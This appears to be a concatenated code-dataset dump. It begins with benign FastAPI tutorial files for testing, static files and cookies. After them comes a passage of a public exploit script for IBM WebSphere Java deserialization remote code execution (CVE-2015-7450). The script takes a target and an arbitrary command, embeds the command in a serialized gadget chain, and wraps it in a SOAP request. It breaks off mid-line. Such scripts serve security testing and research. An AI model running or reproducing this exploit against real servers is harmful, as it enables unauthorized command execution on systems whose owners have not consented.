f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/__init__.py
docs_src/app_testing/app_b_an_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/test_main.py
docs_src/app_testing/app_b_an_py310/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "description": "There goes my hero", } def test_read_item_bad_token(): response = client.get("/items/foo", headers={"X-Token": "hailhydra"}) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_read_nonexistent_item(): response = client.get("/items/baz", headers={"X-Token": "coneofsilence"}) assert response.status_code == 404 assert response.json() == {"detail": "Item not found"} def test_create_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={"id": "foobar", "title": "Foo Bar", "description": "The Foo Barters"}, ) assert response.status_code == 200 assert response.json() == { "id": "foobar", "title": "Foo Bar", "description": "The Foo Barters", } def test_create_item_bad_token(): response = client.post( "/items/", headers={"X-Token": "hailhydra"}, json={"id": "bazz", "title": "Bazz", "description": "Drop the bazz"}, ) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_create_existing_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={ "id": "foo", "title": "The Foo ID Stealers", "description": "There goes my stealer", }, ) assert response.status_code == 409 assert response.json() == {"detail": "Item already exists"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/main.py
docs_src/app_testing/app_b_an_py310/main.py
from typing import Annotated from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app = FastAPI() class Item(BaseModel): id: str title: str description: str | None = None @app.get("/items/{item_id}", response_model=Item) async def read_main(item_id: str, x_token: Annotated[str, Header()]): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item_id not in fake_db: raise HTTPException(status_code=404, detail="Item not found") return fake_db[item_id] @app.post("/items/", response_model=Item) async def create_item(item: Item, x_token: Annotated[str, Header()]): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item.id in fake_db: raise HTTPException(status_code=409, detail="Item already exists") fake_db[item.id] = item return item
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/__init__.py
docs_src/app_testing/app_b_an_py310/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/test_main.py
docs_src/app_testing/app_b_py310/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "description": "There goes my hero", } def test_read_item_bad_token(): response = client.get("/items/foo", headers={"X-Token": "hailhydra"}) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_read_nonexistent_item(): response = client.get("/items/baz", headers={"X-Token": "coneofsilence"}) assert response.status_code == 404 assert response.json() == {"detail": "Item not found"} def test_create_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={"id": "foobar", "title": "Foo Bar", "description": "The Foo Barters"}, ) assert response.status_code == 200 assert response.json() == { "id": "foobar", "title": "Foo Bar", "description": "The Foo Barters", } def test_create_item_bad_token(): response = client.post( "/items/", headers={"X-Token": "hailhydra"}, json={"id": "bazz", "title": "Bazz", "description": "Drop the bazz"}, ) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_create_existing_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={ "id": "foo", "title": "The Foo ID Stealers", "description": "There goes my stealer", }, ) assert response.status_code == 409 assert response.json() == {"detail": "Item already exists"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/main.py
docs_src/app_testing/app_b_py310/main.py
from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app = FastAPI() class Item(BaseModel): id: str title: str description: str | None = None @app.get("/items/{item_id}", response_model=Item) async def read_main(item_id: str, x_token: str = Header()): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item_id not in fake_db: raise HTTPException(status_code=404, detail="Item not found") return fake_db[item_id] @app.post("/items/", response_model=Item) async def create_item(item: Item, x_token: str = Header()): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item.id in fake_db: raise HTTPException(status_code=409, detail="Item already exists") fake_db[item.id] = item return item
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/__init__.py
docs_src/app_testing/app_b_py310/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/test_main.py
docs_src/app_testing/app_a_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_main(): response = client.get("/") assert response.status_code == 200 assert response.json() == {"msg": "Hello World"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/main.py
docs_src/app_testing/app_a_py39/main.py
from fastapi import FastAPI app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/__init__.py
docs_src/app_testing/app_a_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/test_main.py
docs_src/app_testing/app_b_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "description": "There goes my hero", } def test_read_item_bad_token(): response = client.get("/items/foo", headers={"X-Token": "hailhydra"}) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_read_nonexistent_item(): response = client.get("/items/baz", headers={"X-Token": "coneofsilence"}) assert response.status_code == 404 assert response.json() == {"detail": "Item not found"} def test_create_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={"id": "foobar", "title": "Foo Bar", "description": "The Foo Barters"}, ) assert response.status_code == 200 assert response.json() == { "id": "foobar", "title": "Foo Bar", "description": "The Foo Barters", } def test_create_item_bad_token(): response = client.post( "/items/", headers={"X-Token": "hailhydra"}, json={"id": "bazz", "title": "Bazz", "description": "Drop the bazz"}, ) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_create_existing_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={ "id": "foo", "title": "The Foo ID Stealers", "description": "There goes my stealer", }, ) assert response.status_code == 409 assert response.json() == {"detail": "Item already exists"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/main.py
docs_src/app_testing/app_b_py39/main.py
from typing import Union from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app = FastAPI() class Item(BaseModel): id: str title: str description: Union[str, None] = None @app.get("/items/{item_id}", response_model=Item) async def read_main(item_id: str, x_token: str = Header()): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item_id not in fake_db: raise HTTPException(status_code=404, detail="Item not found") return fake_db[item_id] @app.post("/items/", response_model=Item) async def create_item(item: Item, x_token: str = Header()): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item.id in fake_db: raise HTTPException(status_code=409, detail="Item already exists") fake_db[item.id] = item return item
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/__init__.py
docs_src/app_testing/app_b_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/static_files/tutorial001_py39.py
docs_src/static_files/tutorial001_py39.py
from fastapi import FastAPI from fastapi.staticfiles import StaticFiles app = FastAPI() app.mount("/static", StaticFiles(directory="static"), name="static")
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/static_files/__init__.py
docs_src/static_files/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/tutorial001_py39.py
docs_src/response_cookies/tutorial001_py39.py
from fastapi import FastAPI from fastapi.responses import JSONResponse app = FastAPI() @app.post("/cookie/") def create_cookie(): content = {"message": "Come to the dark side, we have cookies"} response = JSONResponse(content=content) response.set_cookie(key="fakesession", value="fake-cookie-session-value") return response
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/__init__.py
docs_src/response_cookies/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/tutorial002_py39.py
docs_src/response_cookies/tutorial002_py39.py
from fastapi import FastAPI, Response app = FastAPI() @app.post("/cookie-and-object/") def create_cookie(response: Response): response.set_cookie(key="fakesession", value="fake-cookie-session-value") return {"message": "Come to the dark side, we have cookies"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebSphere CVE-2015-7450.py
CVE Exploits/WebSphere CVE-2015-7450.py
#! /usr/bin/env python2 #IBM WebSphere Java Object Deserialization RCE (CVE-2015-7450) #Based on the nessus plugin websphere_java_serialize.nasl #Made with <3 by @byt3bl33d3r from __future__ import print_function from builtins import chr import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import sys import base64 from binascii import unhexlify parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='https', help='Send exploit over http or https (default: https)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) elif args.command: if len(args.command) > 254: print('[-] Command must be less then 255 bytes') sys.exit(1) ip, port = args.target.split(':') print('[*] Target IP: {}'.format(ip)) print('[*] Target PORT: {}'.format(port)) serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") serObj += chr(len(args.command)) + args.command serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") serObjB64 = base64.b64encode(serObj) ser1 = "rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" ser2 = "rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==" #This was in the nessus plugin, but wasn't used anywhwere :/ #ser3 = "rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgAkY29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5TZXNzaW9uJ5mLeyYSGOUCAANKAAJpZFoADnNoYXJlV29ya3NwYWNlTAAIdXNlck5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAVEDKkaUAXQAEVNjcmlwdDE1MTAzMmE0Njk0" ser4 = "rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=" xmlObj ="<?xml version='1.0' encoding='UTF-8'?>\r\n" xmlObj +='<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">\r\n' xmlObj +='<SOAP-ENV:Header ns0:JMXConnectorContext="{ser1}" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">\r\n'.format(ser1=ser1) xmlObj +='</SOAP-ENV:Header>\r\n' xmlObj 